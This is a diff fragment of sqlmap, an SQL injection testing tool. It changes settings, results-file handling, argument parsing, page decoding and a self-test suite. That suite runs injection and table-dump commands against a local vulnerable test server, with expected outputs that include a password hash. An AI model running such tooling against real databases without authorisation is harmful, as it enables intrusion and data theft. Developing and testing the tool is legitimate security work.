ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL")
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
@@ -360,7 +364,10 @@ ERROR_PARSING_REGEXES = (
META_CHARSET_REGEX = r'(?si)<head>.*<meta[^>]+charset="?(?P<result>[^"> ]+).*</head>'
# Regular expression used for parsing refresh info from meta html headers
META_REFRESH_REGEX = r'(?si)<head>(?!.*?<noscript.*?</head).*?<meta http-equiv="?refresh"?[^>]+content="?[^">]+url=["\']?(?P<result>[^\'">]+).*</head>'
META_REFRESH_REGEX = r'(?i)<meta http-equiv="?refresh"?[^>]+content="?[^">]+;\s*(url=)?["\']?(?P<result>[^\'">]+)'
# Regular expression used for parsing Javascript redirect request
JAVASCRIPT_HREF_REGEX = r'<script>\s*(\w+\.)?location\.href\s*=["\'](?P<result>[^"\']+)'
# Regular expression used for parsing empty fields in tested form data
EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=(&|\Z))'
@@ -378,7 +385,7 @@ WEBSCARAB_SPLITTER = "### Conversation"
BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}"
# Regex used for parsing XML Burp saved history items
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.+?<request base64="true"><!\[CDATA\[([^]]+)'
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)'
# Encoding used for Unicode data
UNICODE_ENCODING = "utf8"
@@ -413,6 +420,9 @@ CANDIDATE_SENTENCE_MIN_LENGTH = 10
# Character used for marking injectable position inside provided data
CUSTOM_INJECTION_MARK_CHAR = '*'
# Wildcard value that can be used in option --ignore-code
IGNORE_CODE_WILDCARD = '*'
# Other way to declare injection position
INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"
@@ -594,6 +604,9 @@ PARSE_HEADERS_LIMIT = 3
# Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
ORDER_BY_STEP = 10
# Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections
ORDER_BY_MAX = 1000
# Maximum number of times for revalidation of a character in inference (as required)
MAX_REVALIDATION_STEPS = 5
@@ -721,7 +734,7 @@ MAX_HELP_OPTION_LENGTH = 18
MAX_CONNECT_RETRIES = 100
# Strings for detecting formatting errors
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type")
# Regular expression used for extracting ASP.NET view state values
VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
+14 -8
View File
@@ -257,6 +257,9 @@ def _setRequestParams():
kb.processUserMarks = True
for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)):
continue
_ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or ""
if kb.customInjectionMark in _:
if kb.processUserMarks is None:
@@ -561,16 +564,18 @@ def _setResultsFile():
return
if not conf.resultsFP:
conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
found = os.path.exists(conf.resultsFile)
try:
conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0)
conf.resultsFP = openFile(conf.resultsFile, "a", UNICODE_ENCODING, buffering=0)
except (OSError, IOError) as ex:
try:
warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFile, getUnicode(ex))
handle, conf.resultsFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
os.close(handle)
conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
conf.resultsFP = openFile(conf.resultsFile, "w+", UNICODE_ENCODING, buffering=0)
warnMsg += "Using temporary file '%s' instead" % conf.resultsFile
logger.warn(warnMsg)
except IOError as _:
errMsg = "unable to write to the temporary directory ('%s'). " % _
@@ -579,9 +584,10 @@ def _setResultsFile():
errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg)
conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
if not found:
conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename)
logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFile)
def _createFilesDir():
"""
+65 -13
View File
@@ -14,6 +14,8 @@ import os
import random
import re
import shutil
import socket
import sqlite3
import sys
import tempfile
import threading
@@ -31,6 +33,7 @@ from lib.core.common import readXmlFile
from lib.core.common import shellExec
from lib.core.compat import round
from lib.core.compat import xrange
from lib.core.convert import encodeBase64
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
@@ -61,8 +64,34 @@ def vulnTest():
Runs the testing against 'vulnserver'
"""
TESTS = (
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)),
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
("-l <log> --flush-session --skip-waf -v 3 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell")),
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --banner --invalid-logical --technique=B --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --answer=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")),
("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
("-d <direct> --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)),
("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)),
)
retVal = True
count, length = 0, 6
count = 0
address, port = "127.0.0.10", random.randint(1025, 65535)
def _thread():
@@ -73,25 +102,48 @@ def vulnTest():
thread.daemon = True
thread.start()
for options, checks in (
("--flush-session", ("CloudFlare",)),
("--flush-session --parse-errors --eval=\"id2=2\" --referer=\"localhost\" --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e\"", (": syntax error", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "back-end DBMS: SQLite", "3 columns")),
("--banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
("--all --tamper=between,randomcase", ("5 entries", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
("-z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT 987654321\"", ("length of query output", ": '987654321'",)),
("--technique=T --fresh-queries --sql-query=\"SELECT 1234\"", (": '1234'",)),
):
cmd = "%s %s -u http://%s:%d/?id=1 --batch %s" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), address, port, options)
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((address, port))
break
except:
time.sleep(1)
handle, database = tempfile.mkstemp(suffix=".sqlite")
os.close(handle)
with sqlite3.connect(database) as conn:
c = conn.cursor()
c.executescript(vulnserver.SCHEMA)
handle, request = tempfile.mkstemp(suffix=".req")
os.close(handle)
handle, log = tempfile.mkstemp(suffix=".log")
os.close(handle)
content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port)
open(request, "w+").write(content)
open(log, "w+").write('<port>%d</port><request base64="true"><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False)))
url = "http://%s:%d/?id=1" % (address, port)
direct = "sqlite3://%s" % database
for options, checks in TESTS:
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log))
output = shellExec(cmd)
if not all(check in output for check in checks):
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
dataToStdout("---\n\n$ %s\n" % cmd)
dataToStdout("%s---\n" % clearColors(output))
retVal = False
count += 1
status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
clearConsoleLine()
if retVal:
+14 -2
View File
@@ -73,6 +73,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
# It will be overwritten by original from lib.core.common
pass
def isDigit(value):
# It will be overwritten by original from lib.core.common
pass
def getCurrentThreadData():
"""
Returns current thread's local data
@@ -119,16 +123,18 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
kb.threadException = False
kb.technique = ThreadData.technique
if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
while True:
message = "please enter number of threads? [Enter for %d (current)] " % numThreads
choice = readInput(message, default=str(numThreads))
if choice:
skipThreadCheck = False
if choice.endswith('!'):
choice = choice[:-1]
skipThreadCheck = True
if choice.isdigit():
if isDigit(choice):
if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck:
errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
logger.critical(errMsg)
@@ -179,6 +185,12 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
kb.threadContinue = False
kb.threadException = True
if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
kb.multipleCtrlC = True
raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
kb.lastCtrlCTime = time.time()
if numThreads > 1:
logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
try:
+33 -19
View File
@@ -121,18 +121,15 @@ def cmdLineParser(argv=None):
# Target options
target = parser.add_argument_group("Target", "At least one of these options has to be provided to define the target(s)")
target.add_argument("-d", dest="direct",
help="Connection string for direct database connection")
target.add_argument("-u", "--url", dest="url",
help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")")
target.add_argument("-d", dest="direct",
help="Connection string for direct database connection")
target.add_argument("-l", dest="logFile",
help="Parse target(s) from Burp or WebScarab proxy log file")
target.add_argument("-x", dest="sitemapUrl",
help="Parse target(s) from remote sitemap(.xml) file")
target.add_argument("-m", dest="bulkFile",
help="Scan multiple targets given in a textual file ")
@@ -148,6 +145,12 @@ def cmdLineParser(argv=None):
# Request options
request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL")
request.add_argument("-A", "--user-agent", dest="agent",
help="HTTP User-Agent header value")
request.add_argument("-H", "--header", dest="header",
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
request.add_argument("--method", dest="method",
help="Force usage of given HTTP method (e.g. PUT)")
@@ -169,9 +172,6 @@ def cmdLineParser(argv=None):
request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true",
help="Ignore Set-Cookie header from response")
request.add_argument("--user-agent", dest="agent",
help="HTTP User-Agent header value")
request.add_argument("--mobile", dest="mobile", action="store_true",
help="Imitate smartphone through HTTP User-Agent header")
@@ -184,9 +184,6 @@ def cmdLineParser(argv=None):
request.add_argument("--referer", dest="referer",
help="HTTP Referer header value")
request.add_argument("-H", "--header", dest="header",
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
request.add_argument("--headers", dest="headers",
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
@@ -413,7 +410,7 @@ def cmdLineParser(argv=None):
help="Perform an extensive DBMS version fingerprint")
# Enumeration options
enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements")
enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables")
enumeration.add_argument("-a", "--all", dest="getAll", action="store_true",
help="Retrieve everything")
@@ -728,12 +725,18 @@ def cmdLineParser(argv=None):
miscellaneous.add_argument("--purge", dest="purge", action="store_true",
help="Safely remove all content from sqlmap data directory")
miscellaneous.add_argument("--results-file", dest="resultsFile",
help="Location of CSV results file in multiple targets mode")
miscellaneous.add_argument("--sqlmap-shell", dest="sqlmapShell", action="store_true",
help="Prompt for an interactive sqlmap shell")
miscellaneous.add_argument("--tmp-dir", dest="tmpDir",
help="Local directory for storing temporary files")
miscellaneous.add_argument("--unstable", dest="unstable", action="store_true",
help="Adjust options for unstable connections")
miscellaneous.add_argument("--update", dest="updateAll", action="store_true",
help="Update sqlmap")
@@ -777,6 +780,9 @@ def cmdLineParser(argv=None):
parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
help=SUPPRESS)
parser.add_argument("--gui", dest="gui", action="store_true",
help=SUPPRESS)
parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
help=SUPPRESS)
@@ -844,7 +850,6 @@ def cmdLineParser(argv=None):
break
_ = []
prompt = False
advancedHelp = True
extraHeaders = []
tamperIndex = None
@@ -856,9 +861,14 @@ def cmdLineParser(argv=None):
argv = _
checkOldOptions(argv)
prompt = "--sqlmap-shell" in argv
if "--gui" in argv:
from lib.core.gui import runGui
runGui(parser)
if prompt:
if hasattr(parser, "_args"):
return parser._args
elif "--sqlmap-shell" in argv:
_createHomeDirectories()
parser.usage = ""
@@ -903,9 +913,10 @@ def cmdLineParser(argv=None):
for i in xrange(len(argv)):
longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
if argv[i] == "-hh":
argv[i] = "-h"
elif i == 1 and argv[i].startswith("http"):
elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None:
argv[i] = "--url=%s" % argv[i]
elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
@@ -916,6 +927,9 @@ def cmdLineParser(argv=None):
elif re.search(r"\A-\w=.+", argv[i]):
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
raise SystemExit
elif re.search(r"\A-\w{3,}", argv[i]):
if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
argv[i] = "-%s" % argv[i]
elif argv[i] in DEPRECATED_OPTIONS:
argv[i] = ""
elif argv[i].startswith("--tamper"):
@@ -988,8 +1002,8 @@ def cmdLineParser(argv=None):
if args.dummy:
args.url = args.url or DUMMY_URL
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers, args.hashFile)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). "
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
errMsg += "Use -h for basic and -hh for advanced help\n"
parser.error(errMsg)
+2 -2
View File
@@ -79,14 +79,14 @@ def configFileParser(configFile):
mandatory = False
for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "sitemapUrl", "wizard"):
for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "wizard"):
if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option):
mandatory = True
break
if not mandatory:
errMsg = "missing a mandatory option in the configuration file "
errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile, sitemapUrl or wizard)"
errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile or wizard)"
raise SqlmapMissingMandatoryOptionException(errMsg)
for family, optionData in optDict.items():
+48 -36
View File
@@ -34,6 +34,7 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import cachedmethod
from lib.core.decorators import lockedmethod
from lib.core.dicts import HTML_ENTITIES
from lib.core.enums import DBMS
from lib.core.enums import HTTP_HEADER
@@ -47,6 +48,7 @@ from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
from lib.core.settings import META_CHARSET_REGEX
from lib.core.settings import PARSE_HEADERS_LIMIT
from lib.core.settings import SELECT_FROM_TABLE_REGEX
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import VIEWSTATE_REGEX
from lib.parse.headers import headersParser
from lib.parse.html import htmlParser
@@ -57,6 +59,7 @@ from thirdparty.odict import OrderedDict
from thirdparty.six import unichr as _unichr
from thirdparty.six.moves import http_client as _http_client
@lockedmethod
def forgeHeaders(items=None, base=None):
"""
Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing
@@ -110,9 +113,9 @@ def forgeHeaders(items=None, base=None):
if conf.loadCookies:
conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders)
elif kb.mergeCookies is None:
message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE
message += "The target URL provided its own cookies within "
message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
message = "you provided a HTTP %s header value, while " % HTTP_HEADER.COOKIE
message += "target URL provides its own cookies within "
message += "HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
message += "Do you want to merge them in further requests? [Y/n] "
kb.mergeCookies = readInput(message, default='Y', boolean=True)
@@ -258,13 +261,13 @@ def getHeuristicCharEncoding(page):
retVal = kb.cache.encoding.get(key) or detect(page)["encoding"]
kb.cache.encoding[key] = retVal
if retVal:
if retVal and retVal.lower().replace('-', "") == UNICODE_ENCODING.lower().replace('-', ""):
infoMsg = "heuristics detected web page charset '%s'" % retVal
singleTimeLogMessage(infoMsg, logging.INFO, retVal)
return retVal
def decodePage(page, contentEncoding, contentType):
def decodePage(page, contentEncoding, contentType, percentDecode=True):
"""
Decode compressed/charset HTTP response
@@ -331,40 +334,44 @@ def decodePage(page, contentEncoding, contentType):
# can't do for all responses because we need to support binary files too
if isinstance(page, six.binary_type) and "text/" in contentType:
# e.g. &#x9;&#195;&#235;&#224;&#226;&#224;
if b"&#" in page:
page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)), page)
page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)
if not kb.disableHtmlDecoding:
# e.g. &#x9;&#195;&#235;&#224;&#226;&#224;
if b"&#" in page:
page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)), page)
page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)
# e.g. %20%28%29
if b"%" in page:
page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page)
# e.g. %20%28%29
if percentDecode:
if b"%" in page:
page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page)
# e.g. &amp;
page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
# e.g. &amp;
page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
if (kb.pageEncoding or "").lower() == "utf-8-sig":
kb.pageEncoding = "utf-8"
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
page = page[3:]
if (kb.pageEncoding or "").lower() == "utf-8-sig":
kb.pageEncoding = "utf-8"
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
page = page[3:]
page = getUnicode(page, kb.pageEncoding)
page = getUnicode(page, kb.pageEncoding)
# e.g. &#8217;&#8230;&#8482;
if "&#" in page:
def _(match):
retVal = match.group(0)
try:
retVal = _unichr(int(match.group(1)))
except (ValueError, OverflowError):
pass
return retVal
page = re.sub(r"&#(\d+);", _, page)
# e.g. &#8217;&#8230;&#8482;
if "&#" in page:
def _(match):
retVal = match.group(0)
try:
retVal = _unichr(int(match.group(1)))
except (ValueError, OverflowError):
pass
return retVal
page = re.sub(r"&#(\d+);", _, page)
# e.g. &zeta;
page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
# e.g. &zeta;
page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
else:
page = getUnicode(page, kb.pageEncoding)
return page
